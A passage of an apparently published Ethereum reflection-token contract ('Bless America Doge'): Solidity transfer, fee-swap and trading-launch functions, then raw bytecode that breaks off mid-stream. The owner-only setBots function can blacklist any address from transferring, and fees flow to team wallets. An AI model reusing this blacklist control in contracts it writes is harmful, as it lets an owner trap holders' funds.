only"); } } if(from != address(this)){ require(amount <= _maxTxAmount); require(!bots[from] && !bots[to]); } if (from == uniswapV2Pair && to != address(uniswapV2Router) && ! _isExcludedFromFee[to] && cooldownEnabled) { require(cooldown[to] < block.timestamp); cooldown[to] = block.timestamp + (30 seconds); } uint256 contractTokenBalance = balanceOf(address(this)); if (!inSwap && from != uniswapV2Pair && swapEnabled) { swapTokensForEth(contractTokenBalance); uint256 contractETHBalance = address(this).balance; if(contractETHBalance > 0) { sendETHToFee(address(this).balance); } } } bool takeFee = true; if(_isExcludedFromFee[from] || _isExcludedFromFee[to]){ takeFee = false; } _tokenTransfer(from,to,amount,takeFee); } function swapTokensForEth(uint256 tokenAmount) private lockTheSwap { address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } function sendETHToFee(uint256 amount) private { _FeeAddress.transfer(amount.div(2)); _marketingWalletAddress.transfer(amount.div(2)); } function manualswap() external { require(_msgSender() == _FeeAddress); uint256 contractBalance = balanceOf(address(this)); swapTokensForEth(contractBalance); } function manualsend() external { require(_msgSender() == _FeeAddress); uint256 contractETHBalance = address(this).balance; sendETHToFee(contractETHBalance); } function openTrading() external onlyOwner() { require(!tradingOpen,"trading is already open"); IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); uniswapV2Router = _uniswapV2Router; _approve(address(this), address(uniswapV2Router), _tTotal); uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH()); uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp); swapEnabled = true; cooldownEnabled = false; _maxTxAmount = 1 * 10**12 * 10**9; tradingOpen = true; IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max); } function setBots(address[] memory bots_) public onlyOwner { for (uint i = 0; i < bots_.length; i++) { bots[bots_[i]] = true; } } function delBot(address notbot) public onlyOwner { bots[notbot] = false; } function _tokenTransfer(address sender, address recipient, uint256 amount, bool takeFee) private { if(!takeFee) removeAllFee(); if (_isExcluded[sender] && !_isExcluded[recipient]) { _transferFromExcluded(sender, recipient, amount); } else if (!_isExcluded[sender] && _isExcluded[recipient]) { _transferToExcluded(sender, recipient, amount); } else if (_isExcluded[sender] && _isExcluded[recipient]) { _transferBothExcluded(sender, recipient, amount); } else { _transferStandard(sender, recipient, amount); } if(!takeFee) restoreAllFee(); } function _transferStandard(address sender, address recipient, uint256 tAmount) private { (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeTeam(tTeam); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _transferToExcluded(address sender, address recipient, uint256 tAmount) private { (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _tOwned[recipient] = _tOwned[recipient].add(tTransferAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeTeam(tTeam); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _transferFromExcluded(address sender, address recipient, uint256 tAmount) private { (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount); _tOwned[sender] = _tOwned[sender].sub(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeTeam(tTeam); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _transferBothExcluded(address sender, address recipient, uint256 tAmount) private { (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount); _tOwned[sender] = _tOwned[sender].sub(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _tOwned[recipient] = _tOwned[recipient].add(tTransferAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeTeam(tTeam); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _takeTeam(uint256 tTeam) private { uint256 currentRate = _getRate(); uint256 rTeam = tTeam.mul(currentRate); _rOwned[address(this)] = _rOwned[address(this)].add(rTeam); if(_isExcluded[address(this)]) _tOwned[address(this)] = _tOwned[address(this)].add(tTeam); } function _reflectFee(uint256 rFee, uint256 tFee) private { _rTotal = _rTotal.sub(rFee); _tFeeTotal = _tFeeTotal.add(tFee); } receive() external payable {} function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) { (uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _taxFee, _teamFee); uint256 currentRate = _getRate(); (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate); return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam); } function _getTValues(uint256 tAmount, uint256 taxFee, uint256 TeamFee) private pure returns (uint256, uint256, uint256) { uint256 tFee = tAmount.mul(taxFee).div(100); uint256 tTeam = tAmount.mul(TeamFee).div(100); uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam); return (tTransferAmount, tFee, tTeam); } function _getRValues(uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256, uint256) { uint256 rAmount = tAmount.mul(currentRate); uint256 rFee = tFee.mul(currentRate); uint256 rTeam = tTeam.mul(currentRate); uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam); return (rAmount, rTransferAmount, rFee); } function _getRate() private view returns(uint256) { (uint256 rSupply, uint256 tSupply) = _getCurrentSupply(); return rSupply.div(tSupply); } function _getCurrentSupply() private view returns(uint256, uint256) { uint256 rSupply = _rTotal; uint256 tSupply = _tTotal; for (uint256 i = 0; i < _excluded.length; i++) { if (_rOwned[_excluded[i]] > rSupply || _tOwned[_excluded[i]] > tSupply) return (_rTotal, _tTotal); rSupply = rSupply.sub(_rOwned[_excluded[i]]); tSupply = tSupply.sub(_tOwned[_excluded[i]]); } if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal); return (rSupply, tSupply); } function setMaxTxPercent(uint256 maxTxPercent) external onlyOwner() { require(maxTxPercent > 0, "Amount must be greater than 0"); _maxTxAmount = _tTotal.mul(maxTxPercent).div(10**2); emit MaxTxAmountUpdated(_maxTxAmount); } }
0x6080604052600436106101235760003560e01c80638da5cb5b116100a0578063c3c8cd8011610064578063c3c8cd80146106d2578063c9567bf9146106e9578063d28d885214610700578063d543dbeb14610790578063dd62ed3e146107cb5761012a565b80638da5cb5b1461043b57806395d89b411461047c578063a9059cbb1461050c578063b09f12661461057d578063b515566a1461060d5761012a565b8063313ce567116100e7578063313ce5671461033d5780635932ead11461036b5780636fc3eaec146103a857806370a08231146103bf578063715018a6146104245761012a565b806306fdde031461012f578063095ea7b3146101bf57806318160ddd1461023057806323b872dd1461025b578063273123b7146102ec5761012a565b3661012a57005b600080fd5b34801561013b57600080fd5b50610144610850565b6040518080602001828103825283818151815260200191508051906020019080838360005b83811015610184578082015181840152602081019050610169565b50505050905090810190601f1680156101b15780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b3480156101cb57600080fd5b50610218600480360360408110156101e257600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291908035906020019092919050505061088d565b60405180821515815260200191505060405180910390f35b34801561023c57600080fd5b506102456108ab565b6040518082815260200191505060405180910390f35b34801561026757600080fd5b506102d46004803603606081101561027e57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506108bc565b60405180821515815260200191505060405180910390f35b3480156102f857600080fd5b5061033b6004803603602081101561030f57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610995565b005b34801561034957600080fd5b50610352610ab8565b604051808260ff16815260200191505060405180910390f35b34801561037757600080fd5b506103a66004803603602081101561038e57600080fd5b81019080803515159060200190929190505050610ac1565b005b3480156103b457600080fd5b506103bd610ba6565b005b3480156103cb57600080fd5b5061040e600480360360208110156103e257600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610c18565b6040518082815260200191505060405180910390f35b34801561043057600080fd5b50610439610d03565b005b34801561044757600080fd5b50610450610e89565b604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b34801561048857600080fd5b50610491610eb2565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156104d15780820151818401526020810190506104b6565b50505050905090810190601f1680156104fe5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561051857600080fd5b506105656004803603604081101561052f57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610eef565b60405180821515815260200191505060405180910390f35b34801561058957600080fd5b50610592610f0d565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156105d25780820151818401526020810190506105b7565b50505050905090810190601f1680156105ff5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561061957600080fd5b506106d06004803603602081101561063057600080fd5b810190808035906020019064010000000081111561064d57600080fd5b82018360208201111561065f57600080fd5b8035906020019184602083028401116401000000008311171561068157600080fd5b919080806020026020016040519081016040528093929190818152602001838360200280828437600081840152601f19601f820116905080830192505050505050509192919290505050610f46565b005b3480156106de57600080fd5b506106e7611096565b005b3480156106f557600080fd5b506106fe611110565b005b34801561070c57600080fd5b5061071561178e565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561075557808201518184015260208101905061073a565b50505050905090810190601f1680156107825780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561079c57600080fd5b506107c9600480360360208110156107b357600080fd5b81019080803590602001909291905050506117c7565b005b3480156107d757600080fd5b5061083a600480360360408110156107ee57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611976565b6040518082815260200191505060405180910390f35b60606040518060400160405280601281526020017f426c65737320416d657269636120446f67650000000000000000000000000000815250905090565b60006108a161089a6119fd565b8484611a05565b6001905092915050565b6000683635c9adc5dea00000905090565b60006108c9848484611bfc565b61098a846108d56119fd565b61098585604051806060016040528060288152602001613ee960289139600460008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600061093b6119fd565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461245b9092919063ffffffff16565b611a05565b600190509392505050565b61099d6119fd565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610a5d576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b6000600760008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b60006009905090565b610ac96119fd565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610b89576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b80601360176101000a81548160ff02191690831515021790555050565b601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610be76119fd565b73ffffffffffffffffffffffffffffffffffffffff1614610c0757600080fd5b6000479050610c158161251b565b50565b6000600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615610cb357600360008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050610cfe565b610cfb600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612616565b90505b919050565b610d0b6119fd565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610dcb576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606040518060400160405280600e81526020017f424c45535320f09f87baf09f87b8000000000000000000000000000000000000815250905090565b6000610f03610efc6119fd565b8484611bfc565b6001905092915050565b6040518060400160405280600e81526020017f424c45535320f09f87baf09f87b800000000000000000000000000000000000081525081565b610f4e6119fd565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461100e576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b60005b81518110156110925760016007600084848151811061102c57fe5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508080600101915050611011565b5050565b601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166110d76119fd565b73ffffffffffffffffffffffffffffffffffffffff16146110f757600080fd5b600061110230610c18565b905061110d8161269a565b50565b6111186119fd565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146111d8576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b601360149054906101000a900460ff161561125b576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260178152602001807f74726164696e6720697320616c7265616479206f70656e00000000000000000081525060200191505060405180910390fd5b6000737a250d5630b4cf539739df2c5dacb4c659f2488d905080601260006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506112eb30601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16683635c9adc5dea00000611a05565b8073ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b15801561133157600080fd5b505afa158015611345573d6000803e3d6000fd5b505050506040513d602081101561135b57600080fd5b810190808051906020019092919050505073ffffffffffffffffffffffffffffffffffffffff1663c9c65396308373ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b1580156113ce57600080fd5b505afa1580156113e2573d6000803e3d6000fd5b505050506040513d60208110156113f857600080fd5b81019080805190602001909291905050506040518363ffffffff1660e01b8152600401808373ffffffffffffffffffffffffffffffffffffffff1681526020018273ffffffffffffffffffffffffffffffffffffffff16815260200192505050602060405180830381600087803b15801561147257600080fd5b505af1158015611486573d6000803e3d6000fd5b505050506040513d602081101561149c57600080fd5b8101908080519060200190929190505050601360006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d719473061153630610c18565b600080611541610e89565b426040518863ffffffff1660e01b8152600401808773ffffffffffffffffffffffffffffffffffffffff1681526020018681526020018581526020018481526020018373ffffffffffffffffffffffffffffffffffffffff16815260200182815260200196505050505050506060604051808303818588803b1580156115c657600080fd5b505af11580156115da573d6000803e3d6000fd5b50505050506040513d60608110156115f157600080fd5b810190808051906020019092919080519060200190929190805190602001909291905050505050506001601360166101000a81548160ff0219169083151502179055506000601360176101000a81548160ff021916908315150217905550683635c9adc5dea000006014819055506001601360146101000a81548160ff021916908315150217905550601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b3601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6040518363ffffffff1660e01b8152600401808373ffffffffffffffffffffffffffffffffffffffff16815260200182815260200192505050602060405180830381600087803b15801561174f57600080fd5b505af1158015611763573d6000803e3d6000fd5b505050506040513d602081101561177957600080fd5b81019080805190602001909291905050505050565b6040518060400160405280601281526020017f426c65737320416d657269636120446f6765000000000000000000000000000081525081565b6117cf6119fd565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461188f576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b60008111611905576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601d8152602001807f416d6f756e74206d7573742062652067726561746572207468616e203000000081525060200191505060405180910390fd5b611934606461192683683635c9adc5dea0000061298490919063ffffffff16565b612a0a90919063ffffffff16565b6014819055507f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf6014546040518082815260200191505060405180910390a150565b6000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611a8b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526024815260200180613f5f6024913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611b11576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526022815260200180613ea66022913960400191505060405180910390fd5b80600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040518082815260200191505060405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611c82576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526025815260200180613f3a6025913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611d08576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526023815260200180613e596023913960400191505060405180910390fd5b60008111611d61576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526029815260200180613f116029913960400191505060405180910390fd5b611d69610e89565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614158015611dd75750611da7610e89565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b1561239857601360179054906101000a900460ff161561203d573073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614158015611e5957503073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b8015611eb35750601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b8015611f0d5750601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b1561203c57601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16611f536119fd565b73ffffffffffffffffffffffffffffffffffffffff161480611fc95750601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16611fb16119fd565b73ffffffffffffffffffffffffffffffffffffffff16145b61203b576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260118152602001807f4552523a20556e6973776170206f6e6c7900000000000000000000000000000081525060200191505060405180910390fd5b5b5b3073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161461212d5760145481111561207f57600080fd5b600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161580156121235750600760008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b61212c57600080fd5b5b601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161480156121d85750601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b801561222e5750600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b80156122465750601360179054906101000a900460ff165b156122de5742600860008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541061229657600080fd5b601e4201600860008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b60006122e930610c18565b9050601360159054906101000a900460ff161580156123565750601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b801561236e5750601360169054906101000a900460ff165b156123965761237c8161269a565b60004790506000811115612394576123934761251b565b5b505b505b600060019050600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff168061243f5750600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b1561244957600090505b61245584848484612a54565b50505050565b6000838311158290612508576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825283818151815260200191508051906020019080838360005b838110156124cd5780820151818401526020810190506124b2565b50505050905090810190601f1680156124fa5780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b5060008385039050809150509392505050565b601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc61256b600284612a0a90919063ffffffff16565b9081150290604051600060405180830381858888f19350505050158015612596573d6000803e3d6000fd5b50601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc6125e7600284612a0a90919063ffffffff16565b9081150290604051600060405180830381858888f19350505050158015612612573d6000803e3d6000fd5b5050565b6000600a54821115612673576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252602a815260200180613e7c602a913960400191505060405180910390fd5b600061267d612cab565b90506126928184612a0a90919063ffffffff16565b915050919050565b6001601360156101000a81548160ff0219169083151502179055506060600267ffffffffffffffff811180156126cf57600080fd5b506040519080825280602002602001820160405280156126fe5781602001602082028036833780820191505090505b509050308160008151811061270f57fe5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b1580156127b157600080fd5b505afa1580156127c5573d6000803e3d6000fd5b505050506040513d60208110156127db57600080fd5b8101908080519060200190929190505050816001815181106127f957fe5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff168152505061286030601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1684611a05565b601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b815260040180868152602001858152602001806020018473ffffffffffffffffffffffffffffffffffffffff168152602001838152602001828103825285818151815260200191508051906020019060200280838360005b83811015612924578082015181840152602081019050612909565b505050509050019650505050505050600060405180830381600087803b15801561294d57600080fd5b505af1158015612961573d6000803e3d6000fd5b50505050506000601360156101000a81548160ff02191690831515021790555050565b6000808314156129975760009050612a04565b60008284029050828482816129a857fe5b04146129ff576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526021815260200180613ec86021913960400191505060405180910390fd5b809150505b92915050565b6000612a4c83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250612cd6565b905092915050565b80612a6257612a61612d9c565b5b600660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff168015612b055750600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b15612b1a57612b15848484612ddf565b612c97565b600660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16158015612bbd5750600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b15612bd257612bcd84848461303f565b612c96565b600660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff168015612c745750600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b15612c8957612c8484848461329f565b612c95565b612c94848484613594565b5b5b5b80612ca557612ca461375f565b5b50505050565b6000806000612cb8613773565b91509150612ccf8183612a0a90919063ffffffff16565b9250505090565b60008083118290612d82576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825283818151815260200191508051906020019080838360005b83811015612d47578082015181840152602081019050612d2c565b50505050905090810190601f168015612d745780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b506000838581612d8e57fe5b049050809150509392505050565b6000600c54148015612db057506000600d54145b15612dba57612ddd565b600c54600e81905550600d54600f819055506000600c819055506000600d819055505b565b600080600080600080612df187613a20565b955095509550955095509550612e4f87600360008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054613a8890919063ffffffff16565b600360008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550612ee486600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054613a8890919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550612f7985600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054613ad290919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550612fc581613b5a565b612fcf8483613cff565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040518082815260200191505060405180910390a3505050505050505050565b60008060008060008061305187613a20565b9550955095509550955095506130af86600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054613a8890919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061314483600360008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054613ad290919063ffffffff16565b600360008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506131d985600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054613ad290919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061322581613b5a565b61322f8483613cff565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fdd